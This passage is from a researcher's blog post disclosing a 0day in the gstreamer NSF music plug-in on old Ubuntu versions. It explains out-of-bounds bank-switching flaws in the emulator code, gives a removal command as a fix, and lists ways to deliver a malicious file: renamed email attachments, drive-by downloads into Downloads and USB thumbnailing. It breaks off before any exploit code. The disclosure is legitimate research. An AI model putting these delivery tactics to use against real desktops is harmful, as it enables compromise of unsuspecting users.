<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As a learning experiment, most of my bug disclosures going forward are going to be 0day. I’ve got a lot of experience participating in so-called “co-ordinated disclosure”, where the receiving vendor takes as long as they wish to fix a vulnerability. (I once waited over a year(!) for Apple to fix a Safari vulnerability.) I’ve got significantly less experience with “full disclosure”, where the public receives details of a risk at the same time as the vendor. To be clear, I’m fairly certain that the correct balance is a compromise somewhere between “full disclosure” and “co-ordinated disclosure”. The </span><a href="https://googleprojectzero.blogspot.com/2015/02/feedback-and-data-driven-updates-to.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Project Zero 90-day deadlines</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> appear to achieve this compromise nicely and there’s a lot of data backing up the policy.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Don’t worry, this particular 0day is very minor, only affecting very old Linux distributions; see above. This 0day is more about fun than impact. Future 0days may be more widespread ;-)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Philosophical 0day question</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Is it still an 0day if the patch is released alongside the 0day? Here’s the patch for Ubuntu 12.04:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sudo rm /usr/lib/x86_64-linux-gnu/gstreamer-0.10/libgstnsf.so</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">While at first glance, this “patch” would appear to remove functionality, it does not. Your wonderful NSF files will still play. WTF? Would you believe that Ubuntu 12 and 14 ship not one but </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">two</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> different code bases for playing NSF files? That’s a lot of code for a very fringe format. The second NSF player is based on </span><a href="https://bitbucket.org/mpyne/game-music-emu/wiki/Home" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">libgme</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and does not appear to have the vulnerabilities of the first.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The attack surface</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This exploit abuses a vulnerability in the gstreamer-0.10 plug-in for playing NSF music files. These music files are not like most other music files that your desktop can play. Typical music files are based on compressed samples and are decoded with a bunch of math. NSF music files, on the other hands, are played by </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">actually emulating the NES CPU and sound hardware in real time</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Is that cool or what? The gstreamer plug-in creates a virtual 6502 CPU hardware environment and then plays the music by running a bit of 6502 code for a little while and then looking at the resulting values in the virtualized sound hardware registers and then rendering some sound samples based on that. </span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If you’re curious to play a real NSF file, feel free to download the file: </span><a href="http://security.appspot.com/security/nsf/cv2.nsf" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">cv2.nsf</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It’s the music from Castlevania 2, and you can find similar examples with a simple Google search for a term such as “nsf music files”. If your Linux desktop has support for NSF, you should be able to play it with something like: </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">totem cv2.nsf</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. (Don’t be surprised if your distribution kindly offers to automagically install a suitable plug-in if one is missing.) It’s just 17264 bytes, which is tiny! Far too small to contain much in the way of samples, but large enough to contain some a small program which sequences requests for the basic NES hardware to make some simple noises.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In order to actually exploit this vulnerability, or a vulnerability like it, there are various plausible and different avenues:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Send exploit via e-mail attachment. If the victim downloads and opens the file, they are compromised. Note -- for this to work, you likely need to rename </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">exploit.nsf</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">exploit.mp3</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Most Linux desktops don’t know what to do with an NSF file, but they’ll happily stuff any sequence of bytes in an MP3 file through a media player. Most gstreamer based media players will ignore a file’s suffix and use file format auto detection to load the file with the most appropriate decoder.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Partial drive-by download. By abusing Google Chrome’s somewhat risky file download UX, it’s possible to dump files to the victim’s Downloads folder when a booby trapped web page is visited. When the Downloads folder is later viewed in a file manager such as nautilus, an attempt is made to auto thumbnail files with known suffixes (so again, call the NSF exploit something.mp3). The exploit works against the thumbnailer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Full drive-by download. Again, abusing Google Chrome download UX, there’s a path to a possible full drive-by download. This will be explored in a separate blog post.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">USB drive based attack. Again, opening a USB drive opens up the thumbnailing attack described above.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">6502 and NES ROM loading and paging crash course</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The 6502 CPU is legendary, appearing in a diverse range of also legendary systems such as the Nintendo Entertainment System, Commodore 64, BBC Micro, etc. It is 8-bit, but with 16-bit addressing, giving a 64kB address space. In the NES application, the upper 32kB of address space (0x8000 - 0xffff) is reserved for ROM, i.e. the read-only data on the cartridge you have stuffed in.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here lies an interesting problem: what if you want to make a game larger than 32kB? Perhaps you have a game of 16 levels, each level having 16kB of unique graphics and music. No way that’s going to fit into 32kB. To solve this problem, there’s the concept of “banks” and “bank switching”. A bank is simply an aligned 4kB contiguous area of ROM, and there are 8 of them packed between 6502 addresses 0x8000 - 0xfffff. Each of these banks can be mapped to a contiguous, aligned 4kB region inside a cartridge ROM that is potentially much larger than 32kB. At runtime, the NES program can write to a special magic memory location (0x5ff8 - 0x5fff) that contains hardware registers that control what portion of the ROM is mapped to which bank.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Example: if the 6502 CPU writes the value 10 to 0x5ff9, then the 6502 memory locations 0x9000 - 0x9fff will be backed by the bytes at index (10 * 4096) into the cartridge ROM.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerabilit(ies)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">1: Lack of checking ROM size when mapping into 6502 memory and bank switching</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Absent a CVE, you can uniquely identify this as CESA-2016-0001.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There is a near total lack of bounds checking on proposed ROM mappings. This applies to be the initial ROM load, as well as subsequent ROM bank switching. All of the handling for ROM mapping is in </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-plugins-bad/gst/nsf.c</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, including:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nsf_bankswitch (uint32 address, uint8 value)</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ...</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> cpu_page = address & 0x0F;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> roffset = -(cur_nsf->load_addr & 0x0FFF) + ((int) value << 12);</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> offset = cur_nsf->data + roffset;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ...</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> cur_nsf->cpu->mem_page[cpu_page] = offset;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> …</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the above code snippet, </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cur_nsf->data</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> points to the actual ROM data content of the input music file. The format of the file is pretty simple: a 128 byte header (starting with the 4 character sequence “NESM”) and anything following is the ROM. So, for example, if you had a 200 byte input file, that would be 128 bytes of header and 72 bytes of ROM. The entire ROM is kept in the host emulator heap via a single </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. As can be seen, the pointer named </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">offset</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is taken as an arbitrary offset into the ROM heap memory with no checking against any kind of length!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Let’s make this problem concrete: even in the simplest ROM load case of our 200 byte file, the virtual ROM load address will be 0x8000 and the loading code will call </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nsf_bankswitch()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for addresses 0x5ff8 - 0x5fff, with ascending bank indexes 0 - 7. This will result in 6502 virtual address 0x8000 being backed by </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nsf-> data + 0</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, 0x9000 backed by </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nsf->data + 4096</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, … all the way to 0xf000 backed by </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nsf->data + (7 * 4096)</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. So even in this very simple example case, reading linearly in the 6502 emulator from 0x8000 to 0xffff will result in the read of 72 bytes of real ROM data followed by 32696 bytes of out of bounds heap data!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But this is just an out of bounds read, because virtual addresses 0x8000 - 0xffff are read only in the emulator. An OOB read is not particularly serious in the context of the emulator. It could be used as a useful tool to bypass ASLR, but any sensitive data read in the host heap can only be used to play sound. The emulator doesn’t have any advanced functionality such as e.g. the ability to egress heap data via network connections. In the most serious case, if the emulator were running as part of an internet server for music conversion, the attacker could render parts of OOB heap content as sound waves in the output file, to try and steal interesting data from the server’s heap.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However, a second logic quirk of this particular emulator makes things more serious:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">2: Ability to load or bank switch ROM to writable memory locations</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Probably not an actual vulnerability per se; no identified assigned.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Other NES music players I’ve looked at do not permit the loading or bank switching of ROM data at addresses below 0x8000. But this particular player does, either via a ROM load address in the file header that is below 0x8000, or via writes to the bank registers 0x5ff6 or 0x5ff7 (other emulators do not even have bank registers as low as 0x5ff6 or 0x5ff7):</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">static nes6502_memwrite default_writehandler[] = {</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {0x0800, 0x1FFF, write_mirrored_ram},</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {0x4000, 0x4017, apu_write},</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {0x5FF6, 0x5FFF, nsf_bankswitch},</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {(uint32) - 1, (uint32) - 1, NULL}</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">};</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
